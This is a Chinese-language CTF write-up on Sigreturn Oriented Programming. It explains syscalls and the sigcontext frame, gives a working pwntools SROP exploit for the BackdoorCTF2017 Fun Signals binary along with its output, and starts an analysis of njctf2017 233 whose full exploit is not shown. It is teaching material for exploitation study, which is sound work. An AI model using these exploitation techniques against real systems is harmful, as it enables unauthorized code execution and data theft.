# 6.4 pwn njctf2017 233 - [题目复现](#题目复现) - [SROP 原理及题目解析](#srop-原理及题目解析) - [Linux 系统调用](#Linux 系统调用) - [signal 机制](#signal-机制) - [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals) - [njctf2017 233](#233) - [Exploit](#exploit) - [参考资料](#参考资料) ## 题目复现 在 6.1 中我们看到了 blind ROP,这一节中再来看一种 ROP 技术,Sigreturn Oriented Programming。 checksec 如下: ``` $ checksec -f 233 RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 2 233 ``` 把程序运行起来: ``` $ socat tcp4-listen:10001,reuseaddr,fork exec:./233 & ``` ## SROP 原理及题目解析 #### Linux 系统调用 在开始这一切之前,我想先将一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在 `/usr/include/asm/unistd_64.h` 和 `/usr/include/asm/unistd_32.h` 中,另外还需要查看 `/usr/include/bits/syscall.h`。 一开始 Linux 是通过 `int 0x80` 中断的方式进入系统调用,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从 Linux 2.6 开始,就出现了新的系统调用指令 `sysenter`/`sysexit`,前者用于从 Ring3 进入 Ring0,后者用于从 Ring0 返回 Ring3,它没有特权级别检查,也没有压栈的操作,所以执行速度更快。 #### signal 机制 ![](../pic/6.4_signal.png) sigreturn frame 因架构不同而不同,在 Linux 中也有了新的定义,但目前关于 srop 的利用也都是基于旧的 sigcontext,所以这里还是给出旧定义,仅当用户空间依然依赖它时才会使用它们: ``` # ifdef __i386__ struct sigcontext { __u16 gs, __gsh; __u16 fs, __fsh; __u16 es, __esh; __u16 ds, __dsh; __u32 edi; __u32 esi; __u32 ebp; __u32 esp; __u32 ebx; __u32 edx; __u32 ecx; __u32 eax; __u32 trapno; __u32 err; __u32 eip; __u16 cs, __csh; __u32 eflags; __u32 esp_at_signal; __u16 ss, __ssh; struct _fpstate *fpstate; __u32 oldmask; __u32 cr2; }; # else /* __x86_64__: */ struct sigcontext { __u64 r8; __u64 r9; __u64 r10; __u64 r11; __u64 r12; __u64 r13; __u64 r14; __u64 r15; __u64 rdi; __u64 rsi; __u64 rbp; __u64 rbx; __u64 rdx; __u64 rax; __u64 rcx; __u64 rsp; __u64 rip; __u64 eflags; /* RFLAGS */ __u16 cs; __u16 gs; __u16 fs; union { __u16 ss; /* If UC_SIGCONTEXT_SS */ __u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */ }; __u64 err; __u64 trapno; __u64 oldmask; __u64 cr2; struct _fpstate *fpstate; /* Zero when no FPU context */ # ifdef __ILP32__ __u32 __fpstate_pad; # endif __u64 reserved1[8]; }; ``` 在你使用 `ldd` 命令时,通常也会显示 vDSO,如下: ``` $ ldd /usr/bin/ls linux-vdso.so.1 (0x00007ffff7ffa000) libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000) libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000) /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000) ``` 32 位程序则会显示 `linux-gate.so.1`,都是一个意思。 #### BackdoorCTF2017 Fun Signals 我们先来看一个简单的例子,一个 64 位静态链接的 srop,可以说是什么都没开。。。 ``` $ checksec -f funsignals_player_bin RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 funsignals_player_bin ``` ``` gdb-peda$ disassemble _start Dump of assembler code for function _start: 0x0000000010000000 <+0>: xor eax,eax 0x0000000010000002 <+2>: xor edi,edi 0x0000000010000004 <+4>: xor edx,edx 0x0000000010000006 <+6>: mov dh,0x4 0x0000000010000008 <+8>: mov rsi,rsp 0x000000001000000b <+11>: syscall 0x000000001000000d <+13>: xor edi,edi 0x000000001000000f <+15>: push 0xf 0x0000000010000011 <+17>: pop rax 0x0000000010000012 <+18>: syscall 0x0000000010000014 <+20>: int3 End of assembler dump. gdb-peda$ disassemble syscall Dump of assembler code for function syscall: 0x0000000010000015 <+0>: syscall 0x0000000010000017 <+2>: xor rdi,rdi 0x000000001000001a <+5>: mov rax,0x3c 0x0000000010000021 <+12>: syscall End of assembler dump. gdb-peda$ x/s flag 0x10000023 : "fake_flag_here_as_original_is_at_server" ``` 而且 flag 就在二进制文件里,只不过是在服务器上的那个里面,过程是完全一样的。 首先可以看到 `_start` 函数里有两个 syscall。第一个是 `read(0, $rip, 0x400)`(调用号`0x0`),它从标准输入读取 `0x400` 个字节到 `rip` 指向的地址处,也就是栈上。第二个是 `sigreturn()`(调用号`0xf`),它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。 那么怎样读取 flag 呢,需要一个 `write(1, &flag, 50)`,调用号为 `0x1`,而函数 `syscall` 正好为我们提供了 `syscall` 指令,构造 payload 如下: ```python from pwn import * elf = ELF('./funsignals_player_bin') io = process('./funsignals_player_bin') # io = remote('hack.bckdr.in', 9034) context.clear() context.arch = "amd64" # Creating a custom frame frame = SigreturnFrame() frame.rax = constants.SYS_write frame.rdi = constants.STDOUT_FILENO frame.rsi = elf.symbols['flag'] frame.rdx = 50 frame.rip = elf.symbols['syscall'] io.send(str(frame)) io.interactive() ``` ``` $ python2 exp_funsignals.py [*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x10000000) RWX: Has RWX segments [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive ``` 如果连接的是远程服务器,`fake_flag_here_as_original_is_at_server` 会被替换成真正的 flag。 #### njctf2017 233 这是一个 32 位的程序。 ``` gdb-peda$ disassemble main Dump of assembler code for function main: 0x0000063b <+0>: push ebp 0x0000063c <+1>: mov ebp,esp 0x0000063e <+3>: push ebx 0x0000063f <+4>: and esp,0xfffffff0 0x00000642 <+7>: sub esp,0x20 0x00000645 <+10>: call 0x510 <__x86.get_pc_thunk.bx> 0x0000064a <+15>: add ebx,0x197e 0x00000650 <+21>: mov DWORD PTR [esp+0x8],0x400 0x00000658 <+29>: lea eax,[esp+0x16] 0x0000065c <+33>: mov DWORD PTR [esp+0x4],eax 0x00000660 <+37>: mov DWORD PTR [esp],0x0 0x00000667 <+44>: call 0x480 0x0000066c <+49>: lea eax,[esp+0x16] 0x00000670 <+53>: mov DWORD PTR [esp],eax 0x00000673 <+56>: call 0x4c0 0x00000678 <+61>: mov ebx,DWORD PTR [ebp-0x4] 0x0000067b <+64>: leave 0x0000067c <+65>: ret End of assembler dump. ``` 这个程序看起来很简单,就是使用 read 函数读取 `0x400` 个字节到 `[esp+0x16]` 的地方,然后将其传给 atoi。很明显的栈溢出: ``` gdb-peda$ pattern_offset 0x41284141 1093157185 found at offset: 22 ``` ## Exploit 完整的 exp 如下,其他文件放在了[github](../src/writeup/6.4_pwn_njctf2017_233)相应文件夹中: ## 参考资料 - [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf) - [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf) - [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori) - [Sigreturn Oriented Programming is a real Threat](https://subs.emis.de/LNI/Proceedings/Proceedings259/2077.pdf)